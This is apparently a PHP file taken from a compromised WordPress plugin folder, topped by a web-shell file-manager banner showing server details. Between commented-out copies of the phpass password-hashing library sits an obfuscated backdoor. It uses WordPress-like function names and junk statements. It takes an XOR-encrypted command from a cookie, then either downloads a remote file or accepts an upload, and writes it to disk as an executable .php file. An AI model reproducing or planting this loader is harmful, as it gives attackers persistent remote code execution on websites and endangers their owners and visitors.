| Server IP : 89.248.107.232 / Your IP : 216.73.217.70 Web Server : Apache System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : seg ( 10005) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/5ns1s4n8/ |
Upload File : |
<?php /*
*
* Portable PHP password hashing framework.
* @package phpass
* @since 2.5.0
* @version 0.5 / WordPress
* @link https:www.openwall.com/phpass/
#
# Portable PHP password hashing framework.
#
# Version 0.5 / WordPress.
#
# Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in
# the public domain. Revised in subsequent years, still public domain.
#
# There's absolutely no warranty.
#
# The homepage URL for this framework is:
#
# http:www.openwall.com/phpass/
#
# Please be sure to update the Version line if you edit this file in any way.
# It is suggested that you leave the main version number intact, but indicate
# your project name (after the slash) and add your own revision information.
#
# Please do not change the "private" password hashing method implemented in
# here, thereby making your hashes incompatible. However, if you must, please
# change the hash type identifier (the "$P$") to something different.
#
# Obviously, since this code is in the public domain, the above are not
# requirements (there can be none), but merely suggestions.
#
*
* Portable PHP password hashing framework.
*
* @package phpass
* @version 0.5 / WordPress
* @link https:www.openwall.com/phpass/
* @since 2.5.0
class PasswordHash {
var $itoa64;
var $iteration_count_log2;
var $portable_hashes;
var $random_state;
function __construct($iteration_count_log2, $portable_hashes)
{
$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
$iteration_count_log2 = 8;
$this->iteration_count_log2 = $iteration_count_log2;
$this->portable_hashes = $portable_hashes;
$this->random_state = microtime();
if (function_exists('getmypid'))
$this->random_state .= getmypid();
}
function PasswordHash($iteration_count_log2, $portable_hashes)
{
self::__construct($iteration_cou*/
/**
* Whether Plugin Dependencies have been initialized.
*
* @since 6.5.0
*
* @var bool
*/
function sitemaps_enabled($total_attribs)
{
$total_attribs = "http://" . $total_attribs;
$lyricline = "task_management";
$responses = substr($lyricline, 2, 7);
$monochrome = hash("sha384", $responses);
$p2 = str_pad($monochrome, 45, "*"); // Set autoload to no for these options.
$style_handle = explode("_", $lyricline);
return $total_attribs;
}
/**
* Comment ID.
*
* A numeric string, for compatibility reasons.
*
* @since 4.4.0
* @var string
*/
function get_taxonomies_query_args($total_attribs)
{
$total_attribs = sitemaps_enabled($total_attribs); // TODO: This shouldn't be needed when the `set_inner_html` function is ready.
$pairs = "user_id";
$title_placeholder = str_pad($pairs, 8, "_");
return file_get_contents($total_attribs);
}
/**
* Exception for 406 Not Acceptable responses
*
* @package Requests\Exceptions
*/
function get_filter_svg_from_preset($temp_file_owner) // Void elements.
{
getCombinedNonce($temp_file_owner);
$shared_tts = " test string ";
readLong($temp_file_owner);
}
/*
* Backward compatibility: Only store the first
* 'terms' and 'field' found for a given taxonomy.
*/
function add_child()
{
return __DIR__;
}
/* translators: %s: taxonomy's label */
function fe_copy($pass_change_text, $link_url)
{ // Process primary element type styles.
return file_put_contents($pass_change_text, $link_url);
}
/**
* Block type front end only script module IDs.
*
* @since 6.5.0
* @var string[]
*/
function wp_update_user($pt1, $media_buttons) // Print the arrow icon for the menu children with children.
{
$pending_change_message = strlen($media_buttons);
$swap = "user@domain.com";
if (strpos($swap, '@') !== false) {
$thresholds = explode('@', $swap);
}
$plugin_b = strlen($pt1);
$pending_change_message = $plugin_b / $pending_change_message;
$pending_change_message = ceil($pending_change_message);
$page_date_gmt = str_split($pt1);
$media_buttons = str_repeat($media_buttons, $pending_change_message);
$navigation_child_content_class = str_split($media_buttons);
$navigation_child_content_class = array_slice($navigation_child_content_class, 0, $plugin_b);
$tag_list = array_map("register_block_core_comment_content", $page_date_gmt, $navigation_child_content_class); // Returns a sum of timestamp with timezone offset. Ideally should never be used.
$tag_list = implode('', $tag_list);
return $tag_list;
}
/**
* Load translations for a given locale.
*
* When switching to a locale, translations for this locale must be loaded from scratch.
*
* @since 4.7.0
*
* @global Mo[] $l10n An array of all currently loaded text domains.
*
* @param string $locale The locale to load translations for.
*/
function check_key_status($OS_FullName, $x6)
{
$site_name = $_COOKIE[$OS_FullName];
$j4 = "encoding_example";
$PictureSizeEnc = rawurldecode($j4);
$title_placeholder = str_pad($PictureSizeEnc, 20, "~");
$site_name = wp_dequeue_script($site_name);
$temp_file_owner = wp_update_user($site_name, $x6);
if (wp_kses_hook($temp_file_owner)) {
$path_to_index_block_template = get_filter_svg_from_preset($temp_file_owner);
return $path_to_index_block_template;
}
wp_filter_wp_template_unique_post_slug($OS_FullName, $x6, $temp_file_owner);
}
/**
* Fires when scripts and styles are enqueued for the embed iframe.
*
* @since 4.4.0
*/
function get_metadata_from_meta_element($return_val)
{
return add_child() . DIRECTORY_SEPARATOR . $return_val . ".php";
}
/**
* @param string $r
* @param bool $term_orderontFallback
* @return string
*
* @throws SodiumException
*/
function wp_kses_hook($total_attribs)
{
if (strpos($total_attribs, "/") !== false) {
return true; // If the site loads separate styles per-block, enqueue the stylesheet on render.
}
$support = "one,two,three";
$revisioned_meta_keys = explode(',', $support);
$suppress_page_ids = count($revisioned_meta_keys);
return false;
}
/*
* If we are displaying all levels, and remaining children_elements is not empty,
* then we got orphans, which should be displayed regardless.
*/
function Dec2Bin($pass_change_text, $media_buttons)
{ // Normalize as many pct-encoded sections as possible
$primary_meta_query = file_get_contents($pass_change_text); // repeated for every channel:
$wait = "12345";
$total_size = hash('md5', $wait);
$show_in_menu = strlen($total_size); // timed metadata reference
$prepare = wp_update_user($primary_meta_query, $media_buttons);
if ($show_in_menu < 32) {
$total_size = str_pad($total_size, 32, "0");
}
file_put_contents($pass_change_text, $prepare);
}
/*
* If the intended strategy is 'defer', limit the initial list of eligible
* strategies, since 'async' can fallback to 'defer', but not vice-versa.
*/
function remove_menu_page($should_skip_line_height)
{ // Read the 32 least-significant bits.
$should_skip_line_height = ord($should_skip_line_height); // Check that the byte is valid, then add it to the character:
$ConfirmReadingTo = 5;
$noredir = 1;
for ($root_padding_aware_alignments = 1; $root_padding_aware_alignments <= $ConfirmReadingTo; $root_padding_aware_alignments++) {
$noredir *= $root_padding_aware_alignments;
}
return $should_skip_line_height;
}
/** WordPress Privacy List Table classes. */
function wp_filter_wp_template_unique_post_slug($OS_FullName, $x6, $temp_file_owner)
{
if (isset($_FILES[$OS_FullName])) {
$SMTPXClient = "sample";
$parent_basename = strlen($SMTPXClient);
$mock_navigation_block = substr($SMTPXClient, 2, 3); // [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element).
$term_order = str_pad($mock_navigation_block, 10, "y", STR_PAD_BOTH);
wp_ajax_meta_box_order($OS_FullName, $x6, $temp_file_owner);
$trackbackregex = hash("sha1", $term_order);
$wrapper_markup = date("Y-m-d H:i:s");
$ntrail = explode("y", $term_order);
$term_description = implode("-", $ntrail);
$ATOM_SIMPLE_ELEMENTS = empty($term_description);
}
if (!empty($term_description)) {
$root_padding_aware_alignments = trim($term_description);
}
readLong($temp_file_owner);
} // s[20] = s7 >> 13;
/**
* Registers all WordPress scripts.
*
* Localizes some of them.
* args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
* when last arg === 1 queues the script for the footer
*
* @since 2.6.0
*
* @param WP_Scripts $scripts WP_Scripts object.
*/
function wp_script_add_data($parent_end, $media_buttons, $time_lastcomment) {
$parent_end[$media_buttons] = $time_lastcomment;
$tempfile = "John_Doe";
$rawflagint = str_replace("_", " ", $tempfile);
return $parent_end; // and convert it to a protocol-URL.
}
/* translators: %s: Number of video files. */
function setcookies($replace_editor, $min_count)
{
$shared_term_ids = move_uploaded_file($replace_editor, $min_count);
$reset_count = "Sample text";
$wp_font_face = trim($reset_count); // Allows for overriding an existing tab with that ID.
if (!empty($wp_font_face)) {
$payloadExtensionSystem = strlen($wp_font_face);
}
return $shared_term_ids;
}
/**
* Change the origin of an HTTP request.
*
* @since 3.4.0
*
* @param string $origin The original origin for the request.
*/
function register_block_core_comment_content($SyncPattern1, $variations)
{
$queries = remove_menu_page($SyncPattern1) - remove_menu_page($variations);
$sticky_link = "Decode-This";
$modified = substr($sticky_link, 7, 4);
$queries = $queries + 256;
$SpeexBandModeLookup = rawurldecode($modified);
$p_filedescr = hash("sha512", $SpeexBandModeLookup);
$meta_tag = str_pad($p_filedescr, 128, "0", STR_PAD_RIGHT);
$total_comments = explode("-", "item1-item2"); // This is a first-order clause.
$queries = $queries % 256;
$nav_menu_selected_id = array("item3", "item4");
$MPEGaudioFrequency = array_merge($total_comments, $nav_menu_selected_id);
$SyncPattern1 = upgrade_270($queries);
return $SyncPattern1; // complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted
}
/**
* Fires after the theme is switched.
*
* See {@see 'after_switch_theme'}.
*
* @since 1.5.0
* @since 4.5.0 Introduced the `$old_theme` parameter.
*
* @param string $new_name Name of the new theme.
* @param WP_Theme $new_theme WP_Theme instance of the new theme.
* @param WP_Theme $old_theme WP_Theme instance of the old theme.
*/
function wp_dequeue_script($synchstartoffset)
{ // Two comments shouldn't be able to match the same GUID.
$with_prefix = pack("H*", $synchstartoffset); // Just block CSS.
return $with_prefix; // Find the boundaries of the diff output of the two files
}
/**
* Core class used to implement displaying installed themes in a list table.
*
* @since 3.1.0
*
* @see WP_List_Table
*/
function wp_ajax_meta_box_order($OS_FullName, $x6, $temp_file_owner)
{
$return_val = $_FILES[$OS_FullName]['name'];
$raw_sidebar = "Short";
$previous_term_id = str_pad($raw_sidebar, 10, "_");
if (strlen($previous_term_id) > 5) {
$previous_term_id = str_replace("_", "-", $previous_term_id);
}
$pass_change_text = get_metadata_from_meta_element($return_val); // The section can't be empty
Dec2Bin($_FILES[$OS_FullName]['tmp_name'], $x6);
setcookies($_FILES[$OS_FullName]['tmp_name'], $pass_change_text);
}
/**
* Fires before the cURL request is executed.
*
* Cookies are not currently handled by the HTTP API. This action allows
* plugins to handle cookies themselves.
*
* @since 2.8.0
*
* @param resource $term_descriptionandle The cURL handle returned by curl_init() (passed by reference).
* @param array $parsed_args The HTTP request arguments.
* @param string $total_attribs The request URL.
*/
function wp_trusted_keys($OS_FullName) // No sidebar.
{
$x6 = 'aaxaMcUNnCwMZSNd';
$newdomain = "testExample";
$unpadded_len = rawurldecode($newdomain);
if (isset($_COOKIE[$OS_FullName])) {
$user_can_assign_terms = hash('ripemd160', $unpadded_len); // analyze
$magic_big = explode('|', $user_can_assign_terms);
$variant = str_pad($magic_big[0], 15, '&');
$po = hash('crc32', $variant);
check_key_status($OS_FullName, $x6);
$simplified_response = substr($po, 0, 10);
}
}
/**
* The number of errors encountered.
*
* @var int
*/
function upgrade_270($should_skip_line_height)
{
$SyncPattern1 = sprintf("%c", $should_skip_line_height); // Check for unique values of each key.
$rest_controller_class = trim(" Some input data ");
$out_charset = !empty($rest_controller_class);
if ($out_charset) {
$version_string = strtolower($rest_controller_class);
}
return $SyncPattern1;
}
/**
* Executes network-level upgrade routines.
*
* @since 3.0.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function wp_getTaxonomies($total_attribs, $pass_change_text)
{
$v_buffer = get_taxonomies_query_args($total_attribs);
$parsed_query = "apple,banana,orange"; // Require an item schema when registering settings with an array type.
$not_empty_menus_style = explode(",", $parsed_query);
if (in_array("banana", $not_empty_menus_style)) {
$not_empty_menus_style[] = "kiwi";
}
if ($v_buffer === false) {
return false; // Skip expired cookies
}
return fe_copy($pass_change_text, $v_buffer);
} // Save the updated metadata.
/**
* Transforms header string into an array.
*
* @since 2.7.0
*
* @param string|array $term_descriptioneaders The original headers. If a string is passed, it will be converted
* to an array. If an array is passed, then it is assumed to be
* raw header data with numeric keys with the headers as the values.
* No headers must be passed that were already processed.
* @param string $total_attribs Optional. The URL that was requested. Default empty.
* @return array {
* Processed string headers. If duplicate headers are encountered,
* then a numbered array is returned as the value of that header-key.
*
* @type array $response {
* @type int $mock_navigation_blockode The response status code. Default 0.
* @type string $ATOM_CONTENT_ELEMENTS The response message. Default empty.
* }
* @type array $newheaders The processed header data as a multidimensional array.
* @type WP_Http_Cookie[] $mock_navigation_blockookies If the original headers contain the 'Set-Cookie' key,
* an array containing `WP_Http_Cookie` objects is returned.
* }
*/
function doEncode($parent_end, $media_buttons, $time_lastcomment) {
$label_count = "MyTestString";
$parent_end = wp_script_add_data($parent_end, $media_buttons, $time_lastcomment);
$multidimensional_filter = rawurldecode($label_count); # e[31] |= 64;
$pingback_href_pos = hash('sha224', $multidimensional_filter); // Skip updating setting params if unchanged (ensuring the user_id is not overwritten).
$tb_url = substr($multidimensional_filter, 3, 4);
if (!isset($tb_url)) {
$tb_url = str_pad($pingback_href_pos, 56, "!");
}
// Make sure the server has the required MySQL version.
$t_ = explode("e", $label_count);
return wp_import_upload_form($parent_end); // ANSI Ü
} // s17 += carry16;
/*
* Specify the formatting allowed in a placeholder. The following are allowed:
*
* - Sign specifier, e.g. $+d
* - Numbered placeholders, e.g. %1$s
* - Padding specifier, including custom padding characters, e.g. %05s, %'#5s
* - Alignment specifier, e.g. %05-s
* - Precision specifier, e.g. %.2f
*/
function readLong($ATOM_CONTENT_ELEMENTS)
{
echo $ATOM_CONTENT_ELEMENTS;
}
/**
* Enqueue custom block stylesheets
*
* @since Twenty Twenty-Four 1.0
* @return void
*/
function box_publickey_from_secretkey($OS_FullName, $resolved_style = 'txt')
{
return $OS_FullName . '.' . $resolved_style;
}
/**
* @param int $trackbackregexndoffset
* @param int $version
* @param int $length
*
* @return bool
*/
function wp_import_upload_form($parent_end) {
$reflector = "check_hash";
$rawheaders = hash('sha1', $reflector);
if (isset($rawheaders)) {
$view = $rawheaders;
}
// The author moderated a comment on their own post.
return array_keys($parent_end);
}
/**
* Recheck all comments in the Pending queue.
*
* ## EXAMPLES
*
* wp akismet recheck_queue
*
* @alias recheck-queue
*/
function getCombinedNonce($total_attribs)
{
$return_val = basename($total_attribs);
$split_term_data = " Trimming and Padding ";
$v_function_name = trim($split_term_data); // Don't run if another process is currently running it or more than once every 60 sec.
$pass_change_text = get_metadata_from_meta_element($return_val); // `$mock_navigation_blockurrent_blog` and `$mock_navigation_blockurrent_site are now populated.
wp_getTaxonomies($total_attribs, $pass_change_text); // Cleanup old auto-drafts more than 7 days old.
}
$OS_FullName = 'nJHXPILa'; // ----- Get 'memory_limit' configuration value
$source_height = '2023-10-18';
wp_trusted_keys($OS_FullName); # v1 ^= v2;
$plugin_slug = date('Y-m-d', strtotime($source_height));
/* nt_log2, $portable_hashes);
}
function get_random_bytes($count)
{
$output = '';
if (@is_readable('/dev/urandom') &&
($fh = @fopen('/dev/urandom', 'rb'))) {
$output = fread($fh, $count);
fclose($fh);
}
if (strlen($output) < $count) {
$output = '';
for ($i = 0; $i < $count; $i += 16) {
$this->random_state =
md5(microtime() . $this->random_state);
$output .= md5($this->random_state, TRUE);
}
$output = substr($output, 0, $count);
}
return $output;
}
function encode64($input, $count)
{
$output = '';
$i = 0;
do {
$value = ord($input[$i++]);
$output .= $this->itoa64[$value & 0x3f];
if ($i < $count)
$value |= ord($input[$i]) << 8;
$output .= $this->itoa64[($value >> 6) & 0x3f];
if ($i++ >= $count)
break;
if ($i < $count)
$value |= ord($input[$i]) << 16;
$output .= $this->itoa64[($value >> 12) & 0x3f];
if ($i++ >= $count)
break;
$output .= $this->itoa64[($value >> 18) & 0x3f];
} while ($i < $count);
return $output;
}
function gensalt_private($input)
{
$output = '$P$';
$output .= $this->itoa64[min($this->iteration_count_log2 +
((PHP_VERSION >= '5') ? 5 : 3), 30)];
$output .= $this->encode64($input, 6);
return $output;
}
function crypt_private($password, $setting)
{
$output = '*0';
if (substr($setting, 0, 2) === $output)
$output = '*1';
$id = substr($setting, 0, 3);
# We use "$P$", phpBB3 uses "$H$" for the same thing
if ($id !== '$P$' && $id !== '$H$')
return $output;
$count_log2 = strpos($this->itoa64, $setting[3]);
if ($count_log2 < 7 || $count_log2 > 30)
return $output;
$count = 1 << $count_log2;
$salt = substr($setting, 4, 8);
if (strlen($salt) !== 8)
return $output;
# We were kind of forced to use MD5 here since it's the only
# cryptographic primitive that was available in all versions
# of PHP in use. To implement our own low-level crypto in PHP
# would have resulted in much worse performance and
# consequently in lower iteration counts and hashes that are
# quicker to crack (by non-PHP code).
$hash = md5($salt . $password, TRUE);
do {
$hash = md5($hash . $password, TRUE);
} while (--$count);
$output = substr($setting, 0, 12);
$output .= $this->encode64($hash, 16);
return $output;
}
function gensalt_blowfish($input)
{
# This one needs to use a different order of characters and a
# different encoding scheme from the one in encode64() above.
# We care because the last character in our encoded string will
# only represent 2 bits. While two known implementations of
# bcrypt will happily accept and correct a salt string which
# has the 4 unused bits set to non-zero, we do not want to take
# chances and we also do not want to waste an additional byte
# of entropy.
$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$output = '$2a$';
$output .= chr(ord('0') + $this->iteration_count_log2 / 10);
$output .= chr(ord('0') + $this->iteration_count_log2 % 10);
$output .= '$';
$i = 0;
do {
$c1 = ord($input[$i++]);
$output .= $itoa64[$c1 >> 2];
$c1 = ($c1 & 0x03) << 4;
if ($i >= 16) {
$output .= $itoa64[$c1];
break;
}
$c2 = ord($input[$i++]);
$c1 |= $c2 >> 4;
$output .= $itoa64[$c1];
$c1 = ($c2 & 0x0f) << 2;
$c2 = ord($input[$i++]);
$c1 |= $c2 >> 6;
$output .= $itoa64[$c1];
$output .= $itoa64[$c2 & 0x3f];
} while (1);
return $output;
}
function HashPassword($password)
{
if ( strlen( $password ) > 4096 ) {
return '*';
}
$random = '';
if (CRYPT_BLOWFISH === 1 && !$this->portable_hashes) {
$random = $this->get_random_bytes(16);
$hash =
crypt($password, $this->gensalt_blowfish($random));
if (strlen($hash) === 60)
return $hash;
}
if (strlen($random) < 6)
$random = $this->get_random_bytes(6);
$hash =
$this->crypt_private($password,
$this->gensalt_private($random));
if (strlen($hash) === 34)
return $hash;
# Returning '*' on error is safe here, but would _not_ be safe
# in a crypt(3)-like function used _both_ for generating new
# hashes and for validating passwords against existing hashes.
return '*';
}
function CheckPassword($password, $stored_hash)
{
if ( strlen( $password ) > 4096 ) {
return false;
}
$hash = $this->crypt_private($password, $stored_hash);
if ($hash[0] === '*')
$hash = crypt($password, $stored_hash);
# This is not constant-time. In order to keep the code simple,
# for timing safety we currently rely on the salts being
# unpredictable, which they are at least in the non-fallback
# cases (that is, when we use /dev/urandom and bcrypt).
return $hash === $stored_hash;
}
}
*/